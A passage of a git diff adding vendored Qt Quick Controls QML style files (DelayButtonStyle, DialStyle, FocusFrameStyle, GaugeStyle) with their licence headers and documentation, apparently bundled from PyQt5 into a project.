Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtGraphicalEffects 1.0 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private.CppUtils 1.1 + +/*! + \qmltype DelayButtonStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.5 + \ingroup controlsstyling + \brief Provides custom styling for DelayButton. + + You can create a custom DelayButton by replacing the following delegates: + \list + \li \l foreground + \li \l {ButtonStyle::}{label} + \endlist +*/ + +CircularButtonStyle { + id: delayButtonStyle + + /*! + The \l DelayButton that this style is attached to. + */ + readonly property DelayButton control: __control + + /*! + The gradient of the progress bar around the button. + */ + property Gradient progressBarGradient: Gradient { + GradientStop { + position: 0 + color: "#ff6666" + } + GradientStop { + position: 1 + color: "#ff0000" + } + } + + /*! + The color of the drop shadow under the progress bar. + */ + property color progressBarDropShadowColor: "#ff6666" + + background: Item { + implicitWidth: __buttonHelper.implicitWidth + implicitHeight: __buttonHelper.implicitHeight + + Canvas { + id: backgroundCanvas + anchors.fill: parent + + Connections { + target: control + function onPressedChanged() { backgroundCanvas.requestPaint() } + function onCheckedChanged() { backgroundCanvas.requestPaint() } + } + + onPaint: { + var ctx = getContext("2d"); + __buttonHelper.paintBackground(ctx); + } + } + } + + /*! + The foreground of the button. + + The progress bar is drawn here. + */ + property Component foreground: Item { + id: foregroundItem + + state: "normal" + states: [ + State { + name: "normal" + + PropertyChanges { + target: foregroundItem + opacity: 1 + } + }, + State { + name: "activated" + } + ] + + transitions: [ + Transition { + from: "normal" + to: "activated" + SequentialAnimation { + loops: Animation.Infinite + + NumberAnimation { + target: foregroundItem + property: "opacity" + from: 0.8 + to: 0 + duration: 500 + easing.type: Easing.InOutSine + } + NumberAnimation { + target: foregroundItem + property: "opacity" + from: 0 + to: 0.8 + duration: 500 + easing.type: Easing.InOutSine + } + } + } + ] + + Connections { + target: control + function onActivated() { state = "activated" } + function onCheckedChanged() { if (!control.checked) state = "normal" } + } + + CircularProgressBar { + id: progressBar + visible: false + width: Math.min(parent.width, parent.height) + progressBarDropShadow.radius * 3 * 2 + height: width + anchors.centerIn: parent + antialiasing: true + barWidth: __buttonHelper.outerArcLineWidth + inset: progressBarDropShadow.radius * 3 + minimumValueAngle: -180 + maximumValueAngle: 180 + + progress: control.progress + + // TODO: Add gradient property if/when we drop support for building with 5.1. + function updateGradient() { + clearStops(); + for (var i = 0; i < progressBarGradient.stops.length; ++i) { + addStop(progressBarGradient.stops[i].position, progressBarGradient.stops[i].color); + } + } + + Component.onCompleted: updateGradient() + + Connections { + target: delayButtonStyle + function onProgressBarGradientChanged() { progressBar.updateGradient() } + } + } + + DropShadow { + id: progressBarDropShadow + anchors.fill: progressBar + // QTBUG-33747 +// cached: !control.pressed + color: progressBarDropShadowColor + source: progressBar + } + } + + panel: Item { + implicitWidth: backgroundLoader.implicitWidth + implicitHeight: backgroundLoader.implicitHeight + + Loader { + id: backgroundLoader + anchors.fill: parent + sourceComponent: background + } + + Loader { + id: foregroundLoader + anchors.fill: parent + sourceComponent: foreground + } + + Loader { + id: labelLoader + sourceComponent: label + anchors.fill: parent + anchors.leftMargin: padding.left + anchors.topMargin: padding.top + anchors.rightMargin: padding.right + anchors.bottomMargin: padding.bottom + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DelayButtonStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DelayButtonStyle.qmlc new file mode 100644 index 00000000..16458634 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DelayButtonStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DialStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DialStyle.qml new file mode 100644 index 00000000..95172455 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DialStyle.qml @@ -0,0 +1,359 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 +import QtQuick.Extras.Private.CppUtils 1.0 + +/*! + \qmltype DialStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.5 + \ingroup controlsstyling + \brief Provides custom styling for Dial. + + You can create a custom dial by replacing the following delegates: + \list + \li \l background + \endlist +*/ + +Style { + id: dialStyle + + /*! + The \l Dial that this style is attached to. + */ + readonly property Dial control: __control + + /*! + The distance from the center of the dial to the outer edge of the dial. + + This property is useful for determining the size of the various + components of the style, in order to ensure that they are scaled + proportionately when the dial is resized. + */ + readonly property real outerRadius: Math.min(control.height, control.width) / 2 + + /*! + The distance in pixels from the outside of the dial (outerRadius) + to the center of the handle. + */ + property real handleInset: (__tickmarkRadius * 4) + ((__handleRadius * 2) * 0.55) + + /*! + The interval at which tickmarks are displayed. + + For example, if this property is set to \c 10, + control.minimumValue to \c 0, and control.maximumValue to \c 100, + the tickmarks displayed will be 0, 10, 20, etc., to 100, along + the circumference of the dial. + */ + property real tickmarkStepSize: 1 + + /*! + The distance in pixels from the outside of the dial (outerRadius) at + which the outermost point of the tickmark line is drawn. + */ + property real tickmarkInset: 0 + + + /*! + The amount of tickmarks displayed by the dial, calculated from + \l tickmarkStepSize and the control's + \l {Dial::minimumValue}{minimumValue} and + \l {Dial::maximumValue}{maximumValue}. + + \sa minorTickmarkCount + */ + readonly property int tickmarkCount: control.__panel.circularTickmarkLabel.tickmarkCount + + /*! + The amount of minor tickmarks between each tickmark. + + \sa tickmarkCount + */ + property int minorTickmarkCount: 0 + + /*! + The distance in pixels from the outside of the dial (outerRadius) at + which the outermost point of the minor tickmark line is drawn. + */ + property real minorTickmarkInset: 0 + + /*! + The distance in pixels from the outside of the dial (outerRadius) at + which the center of the value marker text is drawn. + */ + property real labelInset: 0 + + /*! + The interval at which tickmark labels are displayed. + + For example, if this property is set to \c 10 (the default), + control.minimumValue to \c 0, and control.maximumValue to \c 100, the + tickmark labels displayed will be 0, 10, 20, etc., to 100, + along the circumference of the dial. + */ + property real labelStepSize: tickmarkStepSize + + /*! + The amount of tickmark labels displayed by the dial, calculated from + \l labelStepSize and the control's + \l {Dial::minimumValue}{minimumValue} and + \l {Dial::maximumValue}{maximumValue}. + + \sa tickmarkCount, minorTickmarkCount + */ + readonly property int labelCount: control.__panel.circularTickmarkLabel.labelCount + + /*! \qmlmethod real DialStyle::valueToAngle(real value) + Returns \a value as an angle in degrees. + + This function is useful for custom drawing or positioning of items in + the style's components. For example, it can be used to calculate the + angles at which to draw an arc around the dial indicating the safe + range of values. + */ + function valueToAngle(value) { + return control.__panel.circularTickmarkLabel.valueToAngle(value); + } + + /*! \internal */ + readonly property real __tickmarkRadius: outerRadius * 0.06 + + /*! \internal */ + readonly property real __handleRadius: outerRadius * 0.15 + + /*! + \internal + + This property determines whether it is possible to change the value of + the dial simply by pressing/tapping. + + If \c false, the user must drag to rotate the dial and hence change the + value. + + This property is useful for touch devices, where it is easy to + accidentally tap while flicking, for example. + */ + property bool __dragToSet: Settings.hasTouchScreen && Settings.isMobile + + /*! + The background of the dial. + + The implicit size of the dial is taken from this component. + */ + property Component background: Item { + id: backgroundItem + implicitWidth: backgroundHelper.implicitWidth + implicitHeight: backgroundHelper.implicitHeight + + CircularButtonStyleHelper { + id: backgroundHelper + control: dialStyle.control + property color zeroMarkerColor: "#a8a8a8" + property color zeroMarkerColorTransparent: "transparent" + property real zeroMarkerLength: outerArcLineWidth * 1.25 + property real zeroMarkerWidth: outerArcLineWidth * 0.3 + + smallestAxis: Math.min(backgroundItem.width, backgroundItem.height) - __tickmarkRadius * 4 + } + + Canvas { + id: backgroundCanvas + anchors.fill: parent + + readonly property real xCenter: width / 2 + readonly property real yCenter: height / 2 + + onPaint: { + var ctx = getContext("2d"); + backgroundHelper.paintBackground(ctx); + } + } + } + + /*! + The handle of the dial. + + The handle is automatically positioned within the dial, based on the + \l handleInset and the implicit width and height of the handle itself. + */ + property Component handle: Canvas { + implicitWidth: __handleRadius * 2 + implicitHeight: __handleRadius * 2 + + HandleStyleHelper { + id: handleHelper + } + + onPaint: { + var ctx = getContext("2d"); + handleHelper.paintHandle(ctx, 1, 1, width - 2, height - 2); + } + } + + /*! + This component defines each individual tickmark. The position of each + tickmark is already set; only the + \l {Item::implicitWidth}{implicitWidth} and + \l {Item::implicitHeight}{implicitHeight} need to be specified. + + Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this tickmark. + \row \li \c {readonly property real} \b styleData.value + \li The value that this tickmark represents. + \endtable + */ + property Component tickmark: Rectangle { + implicitWidth: outerRadius * 0.015 + (styleData.index === 0 || styleData.index === tickmarkCount ? 1 : (styleData.index) / tickmarkCount) * __tickmarkRadius * 0.75 + implicitHeight: implicitWidth + radius: height / 2 + color: styleData.index === 0 ? "transparent" : Qt.rgba(0, 0, 0, 0.266) + antialiasing: true + border.width: styleData.index === 0 ? Math.max(1, outerRadius * 0.0075) : 0 + border.color: Qt.rgba(0, 0, 0, 0.266) + } + + /*! + This component defines each individual minor tickmark. The position of each + minor tickmark is already set; only the + \l {Item::implicitWidth}{implicitWidth} and + \l {Item::implicitHeight}{implicitHeight} need to be specified. + + Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this tickmark. + \row \li \c {readonly property real} \b styleData.value + \li The value that this tickmark represents. + \endtable + + By default, no minor tickmark is defined. + */ + property Component minorTickmark + + /*! + This defines the text of each tickmark label on the dial. + + Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this label. + \row \li \c {readonly property real} \b styleData.value + \li The value that this label represents. + \endtable + + By default, no label is defined. + */ + property Component tickmarkLabel + + /*! \internal */ + property Component panel: Item { + implicitWidth: backgroundLoader.implicitWidth + implicitHeight: backgroundLoader.implicitHeight + + property alias background: backgroundLoader.item + property alias circularTickmarkLabel: circularTickmarkLabel_ + + Loader { + id: backgroundLoader + sourceComponent: dialStyle.background + width: outerRadius * 2 + height: width + anchors.centerIn: parent + } + + Loader { + id: handleLoader + sourceComponent: dialStyle.handle + x: backgroundLoader.x + __pos.x - width / 2 + y: backgroundLoader.y + __pos.y - height / 2 + + readonly property point __pos: { + var radians = 0; + if (control.__wrap) { + radians = (control.value - control.minimumValue) / + (control.maximumValue - control.minimumValue) * + (MathUtils.pi2) + backgroundHelper.zeroAngle; + } else { + radians = -(Math.PI * 8 - (control.value - control.minimumValue) * 10 * + Math.PI / (control.maximumValue - control.minimumValue)) / 6; + } + + return MathUtils.centerAlongCircle(backgroundLoader.width / 2, backgroundLoader.height / 2, + 0, 0, radians, outerRadius - handleInset) + } + } + + CircularTickmarkLabel { + id: circularTickmarkLabel_ + anchors.fill: backgroundLoader + + minimumValue: control.minimumValue + maximumValue: control.maximumValue + stepSize: control.stepSize + tickmarksVisible: control.tickmarksVisible + minimumValueAngle: -150 + maximumValueAngle: 150 + tickmarkStepSize: dialStyle.tickmarkStepSize + tickmarkInset: dialStyle.tickmarkInset + minorTickmarkCount: dialStyle.minorTickmarkCount + minorTickmarkInset: dialStyle.minorTickmarkInset + labelInset: dialStyle.labelInset + labelStepSize: dialStyle.labelStepSize + + style: CircularTickmarkLabelStyle { + tickmark: dialStyle.tickmark + minorTickmark: dialStyle.minorTickmark + tickmarkLabel: dialStyle.tickmarkLabel + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DialStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DialStyle.qmlc new file mode 100644 index 00000000..4999b689 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DialStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/FocusFrameStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/FocusFrameStyle.qml new file mode 100644 index 00000000..3db24796 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/FocusFrameStyle.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype FocusFrameStyle + \internal + \inqmlmodule QtQuick.Controls.Styles +*/ +Item { + property int margin: -3 +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/FocusFrameStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/FocusFrameStyle.qmlc new file mode 100644 index 00000000..a8804c55 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/FocusFrameStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GaugeStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GaugeStyle.qml new file mode 100644 index 00000000..4ad1f7ef --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GaugeStyle.qml @@ -0,0 +1,544 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 + +/*! + \qmltype GaugeStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.5 + \ingroup controlsstyling + \brief Provides custom styling for Gauge. + + You can create a custom gauge by replacing the following delegates: + \list + \li \l background + \li valueBar + \li tickmarkLabel + \endlist + + Below, you'll find an example of how to create a temperature gauge that + changes color as its value increases: + + \code + import QtQuick 2.2 + import QtQuick.Controls 1.4 + import QtQuick.Controls.Styles 1.4 + import QtQuick.Extras 1.4 + + Rectangle { + width: 80 + height: 200 + + Timer { + running: true + repeat: true + interval: 2000 + onTriggered: gauge.value = gauge.value == gauge.maximumValue ? 5 : gauge.maximumValue + } + + Gauge { + id: gauge + anchors.fill: parent + anchors.margins: 10 + + value: 5 + Behavior on value { + NumberAnimation { + duration: 1000 + } + } + + style: GaugeStyle { + valueBar: Rectangle { + implicitWidth: 16 + color: Qt.rgba(gauge.value / gauge.maximumValue, 0, 1 - gauge.value / gauge.maximumValue, 1) + } + } + } + } + \endcode + + \image gauge-temperature.png + The gauge displaying values at various points during the animation. + + \sa {Styling Gauge} +*/ + +Style { + id: gaugeStyle + + /*! + The \l Gauge that this style is attached to. + */ + readonly property Gauge control: __control + + /*! + This property holds the value displayed by the gauge as a position in + pixels. + + It is useful for custom styling. + */ + readonly property real valuePosition: control.__panel.valuePosition + + /*! + The background of the gauge, displayed behind the \l valueBar. + + By default, no background is defined. + */ + property Component background + + /*! + Each tickmark displayed by the gauge. + + To set the size of the tickmarks, specify an + \l {Item::implicitWidth}{implicitWidth} and + \l {Item::implicitHeight}{implicitHeight}. + + The widest tickmark will determine the space set aside for all + tickmarks. For this reason, the \c implicitWidth of each tickmark + should be greater than or equal to that of each minor tickmark. If you + need minor tickmarks to have greater widths than the major tickmarks, + set the larger width in a child item of the \l minorTickmark component. + + For layouting reasons, each tickmark should have the same + \c implicitHeight. If different heights are needed for individual + tickmarks, specify those heights in a child item of the component. + + In the example below, we decrease the height of the tickmarks: + + \code + tickmark: Item { + implicitWidth: 18 + implicitHeight: 1 + + Rectangle { + color: "#c8c8c8" + anchors.fill: parent + anchors.leftMargin: 3 + anchors.rightMargin: 3 + } + } + \endcode + + \image gauge-tickmark-example.png Gauge tickmark example + + Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this tickmark. + \row \li \c {readonly property real} \b styleData.value + \li The value that this tickmark represents. + \row \li \c {readonly property real} \b styleData.valuePosition + \li The value that this tickmark represents as a position in + pixels, with 0 being at the bottom of the gauge. + \endtable + + \sa minorTickmark + */ + property Component tickmark: Item { + implicitWidth: Math.round(TextSingleton.height * 1.1) + implicitHeight: Math.max(2, Math.round(TextSingleton.height * 0.1)) + + Rectangle { + color: "#c8c8c8" + anchors.fill: parent + anchors.leftMargin: Math.round(TextSingleton.implicitHeight * 0.2) + anchors.rightMargin: Math.round(TextSingleton.implicitHeight * 0.2) + } + } + + /*! + Each minor tickmark displayed by the gauge. + + To set the size of the minor tickmarks, specify an + \l {Item::implicitWidth}{implicitWidth} and + \l {Item::implicitHeight}{implicitHeight}. + + For layouting reasons, each minor tickmark should have the same + \c implicitHeight. If different heights are needed for individual + tickmarks, specify those heights in a child item of the component. + + In the example below, we decrease the width of the minor tickmarks: + + \code + minorTickmark: Item { + implicitWidth: 8 + implicitHeight: 1 + + Rectangle { + color: "#cccccc" + anchors.fill: parent + anchors.leftMargin: 2 + anchors.rightMargin: 4 + } + } + \endcode + + \image gauge-minorTickmark-example.png Gauge minorTickmark example + + Each instance of this component has access to the following property: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this minor tickmark. + \row \li \c {readonly property real} \b styleData.value + \li The value that this minor tickmark represents. + \row \li \c {readonly property real} \b styleData.valuePosition + \li The value that this minor tickmark represents as a + position in pixels, with 0 being at the bottom of the + gauge. + \endtable + + \sa tickmark + */ + property Component minorTickmark: Item { + implicitWidth: Math.round(TextSingleton.implicitHeight * 0.65) + implicitHeight: Math.max(1, Math.round(TextSingleton.implicitHeight * 0.05)) + + Rectangle { + color: "#c8c8c8" + anchors.fill: parent + anchors.leftMargin: control.__tickmarkAlignment === Qt.AlignBottom || control.__tickmarkAlignment === Qt.AlignRight + ? Math.max(3, Math.round(TextSingleton.implicitHeight * 0.2)) + : 0 + anchors.rightMargin: control.__tickmarkAlignment === Qt.AlignBottom || control.__tickmarkAlignment === Qt.AlignRight + ? 0 + : Math.max(3, Math.round(TextSingleton.implicitHeight * 0.2)) + } + } + + /*! + This defines the text of each tickmark label on the gauge. + + Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this label. + \row \li \c {readonly property real} \b styleData.value + \li The value that this label represents. + \endtable + */ + property Component tickmarkLabel: Text { + text: control.formatValue(styleData.value) + font: control.font + color: "#c8c8c8" + antialiasing: true + } + + /*! + The bar that represents the value of the gauge. + + To height of the value bar is automatically resized according to + \l {Gauge::value}{value}, and does not need to be specified. + + When a custom valueBar is defined, its + \l {Item::implicitWidth}{implicitWidth} property must be set. + */ + property Component valueBar: Rectangle { + color: "#00bbff" + implicitWidth: TextSingleton.implicitHeight + } + + /*! + The bar that represents the foreground of the gauge. + + This component is drawn above every other component. + */ + property Component foreground: Canvas { + readonly property real xCenter: width / 2 + readonly property real yCenter: height / 2 + property real shineLength: height * 0.95 + + onPaint: { + var ctx = getContext("2d"); + ctx.reset(); + + ctx.beginPath(); + ctx.rect(0, 0, width, height); + + var gradient = ctx.createLinearGradient(0, yCenter, width, yCenter); + + gradient.addColorStop(0, Qt.rgba(1, 1, 1, 0.08)); + gradient.addColorStop(1, Qt.rgba(1, 1, 1, 0.20)); + ctx.fillStyle = gradient; + ctx.fill(); + } + } + + /*! \internal */ + property Component panel: Item { + id: panelComponent + implicitWidth: control.orientation === Qt.Vertical ? tickmarkLabelBoundsWidth + rawBarWidth : TextSingleton.height * 14 + implicitHeight: control.orientation === Qt.Vertical ? TextSingleton.height * 14 : tickmarkLabelBoundsWidth + rawBarWidth + + readonly property int tickmarkCount: (control.maximumValue - control.minimumValue) / control.tickmarkStepSize + 1 + readonly property real tickmarkSpacing: (tickmarkLabelBounds.height - tickmarkWidth * tickmarkCount) / (tickmarkCount - 1) + + property real tickmarkLength: tickmarkColumn.width + // Can't deduce this from the column, so we set it from within the first tickmark delegate loader. + property real tickmarkWidth: 2 + + readonly property real tickmarkOffset: control.orientation === Qt.Vertical ? control.__hiddenText.height / 2 : control.__hiddenText.width / 2 + + readonly property real minorTickmarkStep: control.tickmarkStepSize / (control.minorTickmarkCount + 1); + + /*! + Returns the marker text that should be displayed based on + \a markerPos (\c 0 to \c 1.0). + */ + function markerTextFromPos(markerPos) { + return markerPos * (control.maximumValue - control.minimumValue) + control.minimumValue; + } + + readonly property real rawBarWidth: valueBarLoader.item.implicitWidth + readonly property real barLength: (control.orientation === Qt.Vertical ? control.height : control.width) - (tickmarkOffset * 2 - 2) + + readonly property real tickmarkLabelBoundsWidth: tickmarkLength + (control.orientation === Qt.Vertical ? control.__hiddenText.width : control.__hiddenText.height) + readonly property int valuePosition: valueBarLoader.height + + Item { + id: container + + width: control.orientation === Qt.Vertical ? parent.width : parent.height + height: control.orientation === Qt.Vertical ? parent.height : parent.width + rotation: control.orientation === Qt.Horizontal ? 90 : 0 + transformOrigin: Item.Center + anchors.centerIn: parent + + Item { + id: valueBarItem + + x: control.__tickmarkAlignment === Qt.AlignLeft || control.__tickmarkAlignment === Qt.AlignTop ? tickmarkLabelBounds.x + tickmarkLabelBounds.width : 0 + width: rawBarWidth + height: barLength + anchors.verticalCenter: parent.verticalCenter + + Loader { + id: backgroundLoader + sourceComponent: background + anchors.fill: parent + } + + Loader { + id: valueBarLoader + sourceComponent: valueBar + + readonly property real valueAsPercentage: (control.value - control.minimumValue) / (control.maximumValue - control.minimumValue) + + y: Math.round(parent.height - height) + height: Math.round(valueAsPercentage * parent.height) + } + } + Item { + id: tickmarkLabelBounds + + x: control.__tickmarkAlignment === Qt.AlignLeft || control.__tickmarkAlignment === Qt.AlignTop ? 0 : valueBarItem.width + width: tickmarkLabelBoundsWidth + height: barLength + anchors.verticalCenter: parent.verticalCenter + // We want our items to be laid out from bottom to top, but Column can't do that, so we flip + // the whole item containing the tickmarks and labels vertically. Then, we flip each tickmark + // and label back again. + transform: Rotation { + axis.x: 1 + axis.y: 0 + axis.z: 0 + origin.x: tickmarkLabelBounds.width / 2 + origin.y: tickmarkLabelBounds.height / 2 + angle: 180 + } + + Column { + id: tickmarkColumn + x: control.__tickmarkAlignment === Qt.AlignRight || control.__tickmarkAlignment === Qt.AlignBottom ? 0 : tickmarkLabelBounds.width - width + spacing: tickmarkSpacing + anchors.verticalCenter: parent.verticalCenter + + Repeater { + id: tickmarkRepeater + model: tickmarkCount + delegate: Loader { + id: tickmarkDelegateLoader + + sourceComponent: gaugeStyle.tickmark + transform: Rotation { + axis.x: 1 + axis.y: 0 + axis.z: 0 + origin.x: tickmarkDelegateLoader.width / 2 + origin.y: tickmarkDelegateLoader.height / 2 + angle: 180 + } + + onHeightChanged: { + if (index == 0) + tickmarkWidth = height; + } + + readonly property int __index: index + property QtObject styleData: QtObject { + readonly property alias index: tickmarkDelegateLoader.__index + readonly property real value: (index / (tickmarkCount - 1)) * (control.maximumValue - control.minimumValue) + control.minimumValue + readonly property int valuePosition: Math.round(tickmarkDelegateLoader.y) + } + } + } + } + + // Doesn't need to be in a column, since we assume that the major tickmarks will always be longer than us. + Repeater { + id: minorTickmarkRepeater + model: (tickmarkCount - 1) * control.minorTickmarkCount + delegate: Loader { + id: minorTickmarkDelegateLoader + + x: control.__tickmarkAlignment === Qt.AlignRight || control.__tickmarkAlignment === Qt.AlignBottom ? 0 : tickmarkLabelBounds.width - width + y: { + var tickmarkWidthOffset = Math.floor(index / control.minorTickmarkCount) * tickmarkWidth + tickmarkWidth; + var relativePosition = (index % control.minorTickmarkCount + 1) * (tickmarkSpacing / (control.minorTickmarkCount + 1)); + var clusterOffset = Math.floor(index / control.minorTickmarkCount) * tickmarkSpacing; + // We assume that each minorTickmark's height is the same. + return clusterOffset + tickmarkWidthOffset + relativePosition - height / 2; + } + + transform: Rotation { + axis.x: 1 + axis.y: 0 + axis.z: 0 + origin.x: minorTickmarkDelegateLoader.width / 2 + origin.y: minorTickmarkDelegateLoader.height / 2 + angle: 180 + } + + sourceComponent: gaugeStyle.minorTickmark + + readonly property int __index: index + property QtObject styleData: QtObject { + readonly property alias index: minorTickmarkDelegateLoader.__index + readonly property real value: { + var tickmarkIndex = Math.floor(index / control.minorTickmarkCount); + return index * minorTickmarkStep + minorTickmarkStep * tickmarkIndex + minorTickmarkStep + control.minimumValue; + } + readonly property int valuePosition: Math.round(minorTickmarkDelegateLoader.y) + } + } + } + + Item { + id: tickmarkLabelItem + x: control.__tickmarkAlignment === Qt.AlignRight || control.__tickmarkAlignment === Qt.AlignBottom + ? tickmarkLength + : tickmarkLabelBounds.width - tickmarkLength - width + width: control.__hiddenText.width + // Use the bar height instead of the container's, as the labels seem to be translated by 1 when we + // flip the control vertically, and this fixes that. + height: parent.height + anchors.verticalCenter: parent.verticalCenter + + Repeater { + id: tickmarkTextRepeater + model: tickmarkCount + delegate: Item { + x: { + if (control.orientation === Qt.Vertical) + return 0; + + // Align the text to the edge of the tickmarks. + return ((width - height) / 2) * (control.__tickmarkAlignment === Qt.AlignBottom ? -1 : 1); + } + y: index * labelDistance - height / 2 + + width: control.__hiddenText.width + height: control.__hiddenText.height + + transformOrigin: Item.Center + rotation: control.orientation === Qt.Vertical ? 0 : 90 + + readonly property real labelDistance: tickmarkLabelBounds.height / (tickmarkCount - 1) + + Loader { + id: 